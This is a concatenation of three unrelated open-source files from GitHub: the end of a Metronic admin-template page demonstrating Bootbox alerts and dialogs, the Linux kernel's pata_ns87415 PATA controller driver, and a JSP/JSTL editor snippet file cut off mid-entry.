<a href="table_tree.html">
Tree Datatables</a>
</li>
<li>
<a href="table_responsive.html">
Responsive Datatables</a>
</li>
<li>
<a href="table_managed.html">
Managed Datatables</a>
</li>
<li>
<a href="table_editable.html">
Editable Datatables</a>
</li>
<li>
<a href="table_advanced.html">
Advanced Datatables</a>
</li>
<li>
<a href="table_ajax.html">
Ajax Datatables</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-wallet"></i>
<span class="title">Portlets</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="portlet_general.html">
General Portlets</a>
</li>
<li>
<a href="portlet_general2.html">
<span class="badge badge-roundless badge-danger">new</span>New Portlets #1</a>
</li>
<li>
<a href="portlet_general3.html">
<span class="badge badge-roundless badge-danger">new</span>New Portlets #2</a>
</li>
<li>
<a href="portlet_ajax.html">
Ajax Portlets</a>
</li>
<li>
<a href="portlet_draggable.html">
Draggable Portlets</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-bar-chart"></i>
<span class="title">Charts</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="charts_amcharts.html">
amChart</a>
</li>
<li>
<a href="charts_flotcharts.html">
Flotchart</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-docs"></i>
<span class="title">Pages</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="page_timeline.html">
<i class="icon-paper-plane"></i>
<span class="badge badge-warning">2</span>New Timeline</a>
</li>
<li>
<a href="extra_profile.html">
<i class="icon-user-following"></i>
<span class="badge badge-success badge-roundless">new</span>New User Profile</a>
</li>
<li>
<a href="page_todo.html">
<i class="icon-hourglass"></i>
<span class="badge badge-danger">4</span>Todo</a>
</li>
<li>
<a href="inbox.html">
<i class="icon-envelope"></i>
<span class="badge badge-danger">4</span>Inbox</a>
</li>
<li>
<a href="extra_faq.html">
<i class="icon-info"></i>
FAQ</a>
</li>
<li>
<a href="page_portfolio.html">
<i class="icon-feed"></i>
Portfolio</a>
</li>
<li>
<a href="page_coming_soon.html">
<i class="icon-flag"></i>
Coming Soon</a>
</li>
<li>
<a href="page_calendar.html">
<i class="icon-calendar"></i>
<span class="badge badge-danger">14</span>Calendar</a>
</li>
<li>
<a href="extra_invoice.html">
<i class="icon-flag"></i>
Invoice</a>
</li>
<li>
<a href="page_blog.html">
<i class="icon-speech"></i>
Blog</a>
</li>
<li>
<a href="page_blog_item.html">
<i class="icon-link"></i>
Blog Post</a>
</li>
<li>
<a href="page_news.html">
<i class="icon-eye"></i>
<span class="badge badge-success">9</span>News</a>
</li>
<li>
<a href="page_news_item.html">
<i class="icon-bell"></i>
News View</a>
</li>
<li>
<a href="page_timeline_old.html">
<i class="icon-paper-plane"></i>
<span class="badge badge-warning">2</span>Old Timeline</a>
</li>
<li>
<a href="extra_profile_old.html">
<i class="icon-user"></i>
Old User Profile</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-present"></i>
<span class="title">Extra</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="page_about.html">
About Us</a>
</li>
<li>
<a href="page_contact.html">
Contact Us</a>
</li>
<li>
<a href="extra_search.html">
Search Results</a>
</li>
<li>
<a href="extra_pricing_table.html">
Pricing Tables</a>
</li>
<li>
<a href="extra_404_option1.html">
404 Page Option 1</a>
</li>
<li>
<a href="extra_404_option2.html">
404 Page Option 2</a>
</li>
<li>
<a href="extra_404_option3.html">
404 Page Option 3</a>
</li>
<li>
<a href="extra_500_option1.html">
500 Page Option 1</a>
</li>
<li>
<a href="extra_500_option2.html">
500 Page Option 2</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-folder"></i>
<span class="title">Multi Level Menu</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="javascript:;">
<i class="icon-settings"></i> Item 1 <span class="arrow"></span>
</a>
<ul class="sub-menu">
<li>
<a href="javascript:;">
<i class="icon-user"></i>
Sample Link 1 <span class="arrow"></span>
</a>
<ul class="sub-menu">
<li>
<a href="#"><i class="icon-power"></i> Sample Link 1</a>
</li>
<li>
<a href="#"><i class="icon-paper-plane"></i> Sample Link 1</a>
</li>
<li>
<a href="#"><i class="icon-star"></i> Sample Link 1</a>
</li>
</ul>
</li>
<li>
<a href="#"><i class="icon-camera"></i> Sample Link 1</a>
</li>
<li>
<a href="#"><i class="icon-link"></i> Sample Link 2</a>
</li>
<li>
<a href="#"><i class="icon-pointer"></i> Sample Link 3</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-globe"></i> Item 2 <span class="arrow"></span>
</a>
<ul class="sub-menu">
<li>
<a href="#"><i class="icon-tag"></i> Sample Link 1</a>
</li>
<li>
<a href="#"><i class="icon-pencil"></i> Sample Link 1</a>
</li>
<li>
<a href="#"><i class="icon-graph"></i> Sample Link 1</a>
</li>
</ul>
</li>
<li>
<a href="#">
<i class="icon-bar-chart"></i>
Item 3 </a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-user"></i>
<span class="title">Login Options</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="login.html">
Login Form 1</a>
</li>
<li>
<a href="login_2.html">
Login Form 2</a>
</li>
<li>
<a href="login_3.html">
Login Form 3</a>
</li>
<li>
<a href="login_soft.html">
Login Form 4</a>
</li>
<li>
<a href="extra_lock.html">
Lock Screen 1</a>
</li>
<li>
<a href="extra_lock2.html">
Lock Screen 2</a>
</li>
</ul>
</li>
<li>
<a href="javascript:;">
<i class="icon-envelope-open"></i>
<span class="title">Email Templates</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="email_template1.html">
New Email Template 1</a>
</li>
<li>
<a href="email_template2.html">
New Email Template 2</a>
</li>
<li>
<a href="email_template3.html">
New Email Template 3</a>
</li>
<li>
<a href="email_template4.html">
New Email Template 4</a>
</li>
<li>
<a href="email_newsletter.html">
Old Email Template 1</a>
</li>
<li>
<a href="email_system.html">
Old Email Template 2</a>
</li>
</ul>
</li>
<li class="last ">
<a href="javascript:;">
<i class="icon-pointer"></i>
<span class="title">Maps</span>
<span class="arrow "></span>
</a>
<ul class="sub-menu">
<li>
<a href="maps_google.html">
Google Maps</a>
</li>
<li>
<a href="maps_vector.html">
Vector Maps</a>
</li>
</ul>
</li>
</ul>
<!-- END SIDEBAR MENU -->
</div>
</div>
<!-- END SIDEBAR -->
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<div class="page-content">
<!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
<div class="modal fade" id="portlet-config" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
<h4 class="modal-title">Modal title</h4>
</div>
<div class="modal-body">
Widget settings form goes here
</div>
<div class="modal-footer">
<button type="button" class="btn blue">Save changes</button>
<button type="button" class="btn default" data-dismiss="modal">Close</button>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<!-- /.modal -->
<!-- END SAMPLE PORTLET CONFIGURATION MODAL FORM-->
<!-- BEGIN STYLE CUSTOMIZER -->
<div class="theme-panel">
<div class="toggler tooltips" data-container="body" data-placement="left" data-html="true" data-original-title="Click to open advance theme customizer panel">
<i class="icon-settings"></i>
</div>
<div class="toggler-close">
<i class="icon-close"></i>
</div>
<div class="theme-options">
<div class="theme-option theme-colors clearfix">
<span>
THEME COLOR </span>
<ul>
<li class="color-default current tooltips" data-style="default" data-container="body" data-original-title="Default">
</li>
<li class="color-grey tooltips" data-style="grey" data-container="body" data-original-title="Grey">
</li>
<li class="color-blue tooltips" data-style="blue" data-container="body" data-original-title="Blue">
</li>
<li class="color-dark tooltips" data-style="dark" data-container="body" data-original-title="Dark">
</li>
<li class="color-light tooltips" data-style="light" data-container="body" data-original-title="Light">
</li>
</ul>
</div>
<div class="theme-option">
<span>
Theme Style </span>
<select class="layout-style-option form-control input-small">
<option value="square" selected="selected">Square corners</option>
<option value="rounded">Rounded corners</option>
</select>
</div>
<div class="theme-option">
<span>
Layout </span>
<select class="layout-option form-control input-small">
<option value="fluid" selected="selected">Fluid</option>
<option value="boxed">Boxed</option>
</select>
</div>
<div class="theme-option">
<span>
Header </span>
<select class="page-header-option form-control input-small">
<option value="fixed" selected="selected">Fixed</option>
<option value="default">Default</option>
</select>
</div>
<div class="theme-option">
<span>
Top Dropdown</span>
<select class="page-header-top-dropdown-style-option form-control input-small">
<option value="light" selected="selected">Light</option>
<option value="dark">Dark</option>
</select>
</div>
<div class="theme-option">
<span>
Sidebar Mode</span>
<select class="sidebar-option form-control input-small">
<option value="fixed">Fixed</option>
<option value="default" selected="selected">Default</option>
</select>
</div>
<div class="theme-option">
<span>
Sidebar Style</span>
<select class="sidebar-style-option form-control input-small">
<option value="default" selected="selected">Default</option>
<option value="compact">Compact</option>
</select>
</div>
<div class="theme-option">
<span>
Sidebar Menu </span>
<select class="sidebar-menu-option form-control input-small">
<option value="accordion" selected="selected">Accordion</option>
<option value="hover">Hover</option>
</select>
</div>
<div class="theme-option">
<span>
Sidebar Position </span>
<select class="sidebar-pos-option form-control input-small">
<option value="left" selected="selected">Left</option>
<option value="right">Right</option>
</select>
</div>
<div class="theme-option">
<span>
Footer </span>
<select class="page-footer-option form-control input-small">
<option value="fixed">Fixed</option>
<option value="default" selected="selected">Default</option>
</select>
</div>
</div>
</div>
<!-- END STYLE CUSTOMIZER -->
<!-- BEGIN PAGE HEADER-->
<h3 class="page-title">
Alerts & Dialogs API <small>bootstrap modal dialogs and alerts api</small>
</h3>
<div class="page-bar">
<ul class="page-breadcrumb">
<li>
<i class="fa fa-home"></i>
<a href="index.html">Home</a>
<i class="fa fa-angle-right"></i>
</li>
<li>
<a href="#">UI Features</a>
<i class="fa fa-angle-right"></i>
</li>
<li>
<a href="#">Alerts & Dialogs API</a>
</li>
</ul>
<div class="page-toolbar">
<div class="btn-group pull-right">
<button type="button" class="btn btn-fit-height grey-salt dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-delay="1000" data-close-others="true">
Actions <i class="fa fa-angle-down"></i>
</button>
<ul class="dropdown-menu pull-right" role="menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
</ul>
</div>
</div>
</div>
<!-- END PAGE HEADER-->
<!-- BEGIN PAGE CONTENT-->
<div class="row">
<div class="col-md-12">
<div class="note note-success note-bordered">
<h4 class="block">Bootbox</h4>
<p>
Bootbox.js is a small JavaScript library which allows you to create programmatic dialog boxes using Twitter’s Bootstrap modals, without having to worry about creating, managing or removing any of the required DOM elements or JS event handlers. For more info please check out <a href="http://bootboxjs.com/" target="_blank">
the official documentation </a>
.
</p>
</div>
<!-- BEGIN PORTLET-->
<div class="portlet box yellow">
<div class="portlet-title">
<div class="caption">
<i class="fa fa-gift"></i>Bootbox Demo
</div>
<div class="tools">
<a href="javascript:;" class="collapse">
</a>
<a href="javascript:;" class="reload">
</a>
</div>
</div>
<div class="portlet-body">
<table class="table table-hover table-striped table-bordered">
<tr>
<td>
Basic alert example
</td>
<td>
<a class="btn default" id="demo_1">
View Demo </a>
</td>
</tr>
<tr>
<td>
Alert with callback
</td>
<td>
<a class="btn default" id="demo_2">
View Demo </a>
</td>
</tr>
<tr>
<td>
Confirm example
</td>
<td>
<a class="btn default" id="demo_3">
View Demo </a>
</td>
</tr>
<tr>
<td>
Promt example
</td>
<td>
<a class="btn default" id="demo_4">
View Demo </a>
</td>
</tr>
<tr>
<td>
Advance dialog
</td>
<td>
<a class="btn default" id="demo_5">
View Demo </a>
</td>
</tr>
</table>
</div>
</div>
<!-- END PORTLET-->
<!-- BEGIN PORTLET-->
<div class="portlet box green">
<div class="portlet-title">
<div class="caption">
<i class="fa fa-gift"></i>Metronic's API for Bootstrap Alerts
</div>
<div class="tools">
<a href="javascript:;" class="collapse">
</a>
<a href="javascript:;" class="reload">
</a>
</div>
</div>
<div class="portlet-body">
<div id="bootstrap_alerts_demo">
</div>
<form class="form-horizontal">
<div class="form-group">
<label class="col-md-3 control-label" for="title">Alert Message:</label>
<div class="col-md-7">
<input id="alert_message" type="text" class="form-control" value="some alert text goes here..." placeholder="enter a text ...">
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Alert Type:</label>
<div class="col-md-5">
<select id="alert_type" class="form-control input-medium">
<option value="success">Success</option>
<option value="danger">Danger</option>
<option value="warning">Warning</option>
<option value="info">Info</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Container:</label>
<div class="col-md-5">
<select id="alert_container" class="form-control input-medium">
<option value="">Default(after the breadcrumb)</option>
<option value="#bootstrap_alerts_demo">#bootstrap_alerts_demo</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Placement:</label>
<div class="col-md-5">
<select id="alert_place" class="form-control input-medium">
<option value="append">Append</option>
<option value="prepend">Prepend</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Closable ?</label>
<div class="col-md-5">
<label class="checkbox">
<input type="checkbox" id="alert_close" value="1" checked>
</label>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Close All Previouse Alerts ?</label>
<div class="col-md-5">
<label class="checkbox">
<input type="checkbox" id="alert_reset" value="1" checked>
</label>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Auto Scroll/Focus ?</label>
<div class="col-md-5">
<label class="checkbox">
<input type="checkbox" id="alert_focus" value="1" checked>
</label>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Auto Close In(seconds):</label>
<div class="col-md-5">
<select id="alert_close_in_seconds" class="form-control input-medium">
<option value="0">never close</option>
<option value="1">1 second</option>
<option value="5">5 seconds</option>
<option value="10">10 seconds</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title">Font Awesome Icon(fa-[*]):</label>
<div class="col-md-5">
<select id="alert_icon" class="form-control input-medium">
<option value="" selected="selected">none</option>
<option value="warning">warning</option>
<option value="check">check</option>
<option value="user">user</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-md-3 control-label" for="title"></label>
<div class="col-md-5">
<a href="javascript:;" class="btn green btn-lg" id="alert_show">
Show Alert! </a>
</div>
</div>
</form>
</div>
</div>
<!-- END PORTLET-->
</div>
</div>
<!-- END PAGE CONTENT-->
</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<!--Cooming Soon...-->
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
<!-- BEGIN FOOTER -->
<div class="page-footer">
<div class="page-footer-inner">
2014 © Metronic by keenthemes.
</div>
<div class="scroll-to-top">
<i class="icon-arrow-up"></i>
</div>
</div>
<!-- END FOOTER -->
</div>
<!-- BEGIN JAVASCRIPTS(Load javascripts at bottom, this will reduce page load time) -->
<!-- BEGIN CORE PLUGINS -->
<!--[if lt IE 9]>
<script src="../../assets/global/plugins/respond.min.js"></script>
<script src="../../assets/global/plugins/excanvas.min.js"></script>
<![endif]-->
<script src="../../assets/global/plugins/jquery.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/jquery-migrate.min.js" type="text/javascript"></script>
<!-- IMPORTANT! Load jquery-ui.min.js before bootstrap.min.js to fix bootstrap tooltip conflict with jquery ui tooltip -->
<script src="../../assets/global/plugins/jquery-ui/jquery-ui.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/bootstrap-hover-dropdown/bootstrap-hover-dropdown.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/jquery-slimscroll/jquery.slimscroll.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/jquery.blockui.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/jquery.cokie.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/uniform/jquery.uniform.min.js" type="text/javascript"></script>
<script src="../../assets/global/plugins/bootstrap-switch/js/bootstrap-switch.min.js" type="text/javascript"></script>
<!-- END CORE PLUGINS -->
<!-- BEGIN PAGE LEVEL PLUGINS -->
<script src="../../assets/global/plugins/bootbox/bootbox.min.js" type="text/javascript"></script>
<!-- END PAGE LEVEL PLUGINS -->
<!-- BEGIN PAGE LEVEL SCRIPTS -->
<script src="../../assets/global/scripts/metronic.js" type="text/javascript"></script>
<script src="../../assets/admin/layout2/scripts/layout.js" type="text/javascript"></script>
<script src="../../assets/admin/layout2/scripts/demo.js" type="text/javascript"></script>
<script src="../../assets/admin/pages/scripts/ui-alert-dialog-api.js"></script>
<!-- END PAGE LEVEL SCRIPTS -->
<script>
jQuery(document).ready(function() {
// initiate layout and plugins
Metronic.init(); // init metronic core components
Layout.init(); // init current layout
Demo.init(); // init demo features
UIAlertDialogApi.init();
});
</script>
<!-- END JAVASCRIPTS -->
</body>
<!-- END BODY -->
</html>
|
{
"pile_set_name": "Github"
}
|
/*
* pata_ns87415.c - NS87415 (non PARISC) PATA
*
* (C) 2005 Red Hat <alan@lxorguk.ukuu.org.uk>
*
* This is a fairly generic MWDMA controller. It has some limitations
* as it requires timing reloads on PIO/DMA transitions but it is otherwise
* fairly well designed.
*
* This driver assumes the firmware has left the chip in a valid ST506
* compliant state, either legacy IRQ 14/15 or native INTA shared. You
* may need to add platform code if your system fails to do this.
*
* The same cell appears in the 87560 controller used by some PARISC
* systems. This has its own special mountain of errata.
*
* TODO:
* Test PARISC SuperIO
* Get someone to test on SPARC
* Implement lazy pio/dma switching for better performance
* 8bit shared timing.
* See if we need to kill the FIFO for ATAPI
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/blkdev.h>
#include <linux/delay.h>
#include <linux/device.h>
#include <scsi/scsi_host.h>
#include <linux/libata.h>
#include <linux/ata.h>
#define DRV_NAME "pata_ns87415"
#define DRV_VERSION "0.0.1"
/**
* ns87415_set_mode - Initialize host controller mode timings
* @ap: Port whose timings we are configuring
* @adev: Device whose timings we are configuring
* @mode: Mode to set
*
* Program the mode registers for this controller, channel and
* device. Because the chip is quite an old design we have to do this
* for PIO/DMA switches.
*
* LOCKING:
* None (inherited from caller).
*/
static void ns87415_set_mode(struct ata_port *ap, struct ata_device *adev, u8 mode)
{
struct pci_dev *dev = to_pci_dev(ap->host->dev);
int unit = 2 * ap->port_no + adev->devno;
int timing = 0x44 + 2 * unit;
unsigned long T = 1000000000 / 33333; /* PCI clocks */
struct ata_timing t;
u16 clocking;
u8 iordy;
u8 status;
/* Timing register format is 17 - low nybble read timing with
the high nybble being 16 - x for recovery time in PCI clocks */
ata_timing_compute(adev, adev->pio_mode, &t, T, 0);
clocking = 17 - clamp_val(t.active, 2, 17);
clocking |= (16 - clamp_val(t.recover, 1, 16)) << 4;
/* Use the same timing for read and write bytes */
clocking |= (clocking << 8);
pci_write_config_word(dev, timing, clocking);
/* Set the IORDY enable versus DMA enable on or off properly */
pci_read_config_byte(dev, 0x42, &iordy);
iordy &= ~(1 << (4 + unit));
if (mode >= XFER_MW_DMA_0 || !ata_pio_need_iordy(adev))
iordy |= (1 << (4 + unit));
/* Paranoia: We shouldn't ever get here with busy write buffers
but if so wait */
pci_read_config_byte(dev, 0x43, &status);
while (status & 0x03) {
udelay(1);
pci_read_config_byte(dev, 0x43, &status);
}
/* Flip the IORDY/DMA bits now we are sure the write buffers are
clear */
pci_write_config_byte(dev, 0x42, iordy);
/* TODO: Set byte 54 command timing to the best 8bit
mode shared by all four devices */
}
/**
* ns87415_set_piomode - Initialize host controller PATA PIO timings
* @ap: Port whose timings we are configuring
* @adev: Device to program
*
* Set PIO mode for device, in host controller PCI config space.
*
* LOCKING:
* None (inherited from caller).
*/
static void ns87415_set_piomode(struct ata_port *ap, struct ata_device *adev)
{
ns87415_set_mode(ap, adev, adev->pio_mode);
}
/**
* ns87415_bmdma_setup - Set up DMA
* @qc: Command block
*
* Set up for bus masterng DMA. We have to do this ourselves
* rather than use the helper due to a chip erratum
*/
static void ns87415_bmdma_setup(struct ata_queued_cmd *qc)
{
struct ata_port *ap = qc->ap;
unsigned int rw = (qc->tf.flags & ATA_TFLAG_WRITE);
u8 dmactl;
/* load PRD table addr. */
mb(); /* make sure PRD table writes are visible to controller */
iowrite32(ap->bmdma_prd_dma, ap->ioaddr.bmdma_addr + ATA_DMA_TABLE_OFS);
/* specify data direction, triple-check start bit is clear */
dmactl = ioread8(ap->ioaddr.bmdma_addr + ATA_DMA_CMD);
dmactl &= ~(ATA_DMA_WR | ATA_DMA_START);
/* Due to an erratum we need to write these bits to the wrong
place - which does save us an I/O bizarrely */
dmactl |= ATA_DMA_INTR | ATA_DMA_ERR;
if (!rw)
dmactl |= ATA_DMA_WR;
iowrite8(dmactl, ap->ioaddr.bmdma_addr + ATA_DMA_CMD);
/* issue r/w command */
ap->ops->sff_exec_command(ap, &qc->tf);
}
/**
* ns87415_bmdma_start - Begin DMA transfer
* @qc: Command block
*
* Switch the timings for the chip and set up for a DMA transfer
* before the DMA burst begins.
*
* FIXME: We should do lazy switching on bmdma_start versus
* ata_pio_data_xfer for better performance.
*/
static void ns87415_bmdma_start(struct ata_queued_cmd *qc)
{
ns87415_set_mode(qc->ap, qc->dev, qc->dev->dma_mode);
ata_bmdma_start(qc);
}
/**
* ns87415_bmdma_stop - End DMA transfer
* @qc: Command block
*
* End DMA mode and switch the controller back into PIO mode
*/
static void ns87415_bmdma_stop(struct ata_queued_cmd *qc)
{
ata_bmdma_stop(qc);
ns87415_set_mode(qc->ap, qc->dev, qc->dev->pio_mode);
}
/**
* ns87415_irq_clear - Clear interrupt
* @ap: Channel to clear
*
* Erratum: Due to a chip bug regisers 02 and 0A bit 1 and 2 (the
* error bits) are reset by writing to register 00 or 08.
*/
static void ns87415_irq_clear(struct ata_port *ap)
{
void __iomem *mmio = ap->ioaddr.bmdma_addr;
if (!mmio)
return;
iowrite8((ioread8(mmio + ATA_DMA_CMD) | ATA_DMA_INTR | ATA_DMA_ERR),
mmio + ATA_DMA_CMD);
}
/**
* ns87415_check_atapi_dma - ATAPI DMA filter
* @qc: Command block
*
* Disable ATAPI DMA (for now). We may be able to do DMA if we
* kill the prefetching. This isn't clear.
*/
static int ns87415_check_atapi_dma(struct ata_queued_cmd *qc)
{
return -EOPNOTSUPP;
}
#if defined(CONFIG_SUPERIO)
/* SUPERIO 87560 is a PoS chip that NatSem denies exists.
* Unfortunately, it's built-in on all Astro-based PA-RISC workstations
* which use the integrated NS87514 cell for CD-ROM support.
* i.e we have to support for CD-ROM installs.
* See drivers/parisc/superio.c for more gory details.
*
* Workarounds taken from drivers/ide/pci/ns87415.c
*/
#include <asm/superio.h>
#define SUPERIO_IDE_MAX_RETRIES 25
/**
* ns87560_read_buggy - workaround buggy Super I/O chip
* @port: Port to read
*
* Work around chipset problems in the 87560 SuperIO chip
*/
static u8 ns87560_read_buggy(void __iomem *port)
{
u8 tmp;
int retries = SUPERIO_IDE_MAX_RETRIES;
do {
tmp = ioread8(port);
if (tmp != 0)
return tmp;
udelay(50);
} while(retries-- > 0);
return tmp;
}
/**
* ns87560_check_status
* @ap: channel to check
*
* Return the status of the channel working around the
* 87560 flaws.
*/
static u8 ns87560_check_status(struct ata_port *ap)
{
return ns87560_read_buggy(ap->ioaddr.status_addr);
}
/**
* ns87560_tf_read - input device's ATA taskfile shadow registers
* @ap: Port from which input is read
* @tf: ATA taskfile register set for storing input
*
* Reads ATA taskfile registers for currently-selected device
* into @tf. Work around the 87560 bugs.
*
* LOCKING:
* Inherited from caller.
*/
void ns87560_tf_read(struct ata_port *ap, struct ata_taskfile *tf)
{
struct ata_ioports *ioaddr = &ap->ioaddr;
tf->command = ns87560_check_status(ap);
tf->feature = ioread8(ioaddr->error_addr);
tf->nsect = ioread8(ioaddr->nsect_addr);
tf->lbal = ioread8(ioaddr->lbal_addr);
tf->lbam = ioread8(ioaddr->lbam_addr);
tf->lbah = ioread8(ioaddr->lbah_addr);
tf->device = ns87560_read_buggy(ioaddr->device_addr);
if (tf->flags & ATA_TFLAG_LBA48) {
iowrite8(tf->ctl | ATA_HOB, ioaddr->ctl_addr);
tf->hob_feature = ioread8(ioaddr->error_addr);
tf->hob_nsect = ioread8(ioaddr->nsect_addr);
tf->hob_lbal = ioread8(ioaddr->lbal_addr);
tf->hob_lbam = ioread8(ioaddr->lbam_addr);
tf->hob_lbah = ioread8(ioaddr->lbah_addr);
iowrite8(tf->ctl, ioaddr->ctl_addr);
ap->last_ctl = tf->ctl;
}
}
/**
* ns87560_bmdma_status
* @ap: channel to check
*
* Return the DMA status of the channel working around the
* 87560 flaws.
*/
static u8 ns87560_bmdma_status(struct ata_port *ap)
{
return ns87560_read_buggy(ap->ioaddr.bmdma_addr + ATA_DMA_STATUS);
}
#endif /* 87560 SuperIO Support */
static struct ata_port_operations ns87415_pata_ops = {
.inherits = &ata_bmdma_port_ops,
.check_atapi_dma = ns87415_check_atapi_dma,
.bmdma_setup = ns87415_bmdma_setup,
.bmdma_start = ns87415_bmdma_start,
.bmdma_stop = ns87415_bmdma_stop,
.sff_irq_clear = ns87415_irq_clear,
.cable_detect = ata_cable_40wire,
.set_piomode = ns87415_set_piomode,
};
#if defined(CONFIG_SUPERIO)
static struct ata_port_operations ns87560_pata_ops = {
.inherits = &ns87415_pata_ops,
.sff_tf_read = ns87560_tf_read,
.sff_check_status = ns87560_check_status,
.bmdma_status = ns87560_bmdma_status,
};
#endif
static struct scsi_host_template ns87415_sht = {
ATA_BMDMA_SHT(DRV_NAME),
};
static void ns87415_fixup(struct pci_dev *pdev)
{
/* Select 512 byte sectors */
pci_write_config_byte(pdev, 0x55, 0xEE);
/* Select PIO0 8bit clocking */
pci_write_config_byte(pdev, 0x54, 0xB7);
}
/**
* ns87415_init_one - Register 87415 ATA PCI device with kernel services
* @pdev: PCI device to register
* @ent: Entry in ns87415_pci_tbl matching with @pdev
*
* Called from kernel PCI layer. We probe for combined mode (sigh),
* and then hand over control to libata, for it to do the rest.
*
* LOCKING:
* Inherited from PCI layer (may sleep).
*
* RETURNS:
* Zero on success, or -ERRNO value.
*/
static int ns87415_init_one (struct pci_dev *pdev, const struct pci_device_id *ent)
{
static const struct ata_port_info info = {
.flags = ATA_FLAG_SLAVE_POSS,
.pio_mask = ATA_PIO4,
.mwdma_mask = ATA_MWDMA2,
.port_ops = &ns87415_pata_ops,
};
const struct ata_port_info *ppi[] = { &info, NULL };
int rc;
#if defined(CONFIG_SUPERIO)
static const struct ata_port_info info87560 = {
.flags = ATA_FLAG_SLAVE_POSS,
.pio_mask = ATA_PIO4,
.mwdma_mask = ATA_MWDMA2,
.port_ops = &ns87560_pata_ops,
};
if (PCI_SLOT(pdev->devfn) == 0x0E)
ppi[0] = &info87560;
#endif
ata_print_version_once(&pdev->dev, DRV_VERSION);
rc = pcim_enable_device(pdev);
if (rc)
return rc;
ns87415_fixup(pdev);
return ata_pci_bmdma_init_one(pdev, ppi, &ns87415_sht, NULL, 0);
}
static const struct pci_device_id ns87415_pci_tbl[] = {
{ PCI_VDEVICE(NS, PCI_DEVICE_ID_NS_87415), },
{ } /* terminate list */
};
#ifdef CONFIG_PM_SLEEP
static int ns87415_reinit_one(struct pci_dev *pdev)
{
struct ata_host *host = pci_get_drvdata(pdev);
int rc;
rc = ata_pci_device_do_resume(pdev);
if (rc)
return rc;
ns87415_fixup(pdev);
ata_host_resume(host);
return 0;
}
#endif
static struct pci_driver ns87415_pci_driver = {
.name = DRV_NAME,
.id_table = ns87415_pci_tbl,
.probe = ns87415_init_one,
.remove = ata_pci_remove_one,
#ifdef CONFIG_PM_SLEEP
.suspend = ata_pci_device_suspend,
.resume = ns87415_reinit_one,
#endif
};
module_pci_driver(ns87415_pci_driver);
MODULE_AUTHOR("Alan Cox");
MODULE_DESCRIPTION("ATA low-level driver for NS87415 controllers");
MODULE_LICENSE("GPL");
MODULE_DEVICE_TABLE(pci, ns87415_pci_tbl);
MODULE_VERSION(DRV_VERSION);
|
{
"pile_set_name": "Github"
}
|
snippet @page
<%@page contentType="text/html" pageEncoding="UTF-8"%>
snippet jstl
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
snippet jstl:c
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
snippet jstl:fn
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
snippet cpath
${pageContext.request.contextPath}
snippet cout
<c:out value="${1}" default="${2}" />
snippet cset
<c:set var="${1}" value="${2}" />
snippet cremove
<c:remove var="${1}" scope="${2:page}" />
snippet ccatch
<c:catch var="${1}" />
snippet cif
<c:if test="${${1}}">
${2}
</c:if>
snippet cchoose
<c:choose>
${1}
</c:choose>
snippet cwhen
<c:when test="${${1}}">
${2}
</c:when>
snippet cother
<c:otherwise>
${1}
</c:otherwise>
snippet cfore
<c:forEach items="${${1}}" var="${2}" varStatus="${3}">
${4:<c:out value="$2" />}
</c:forEach>
snippet cfort
<c:set var="${1}">${2:item1,item2,item3}</c:set>
<c:forTokens var="${3}" items="${$1}" delims="${4:,}">
${5:<c:out value="$3" />}
</c:forTokens>
snippet cparam
<c:param name="${1}" value="${2}" />
snippet cparam+
<c:param name="${1}" value="${2}" />
cparam+${3}
snippet cimport
<c:import url="${1}" />
snippet cimport+
<c:import url="${1}">
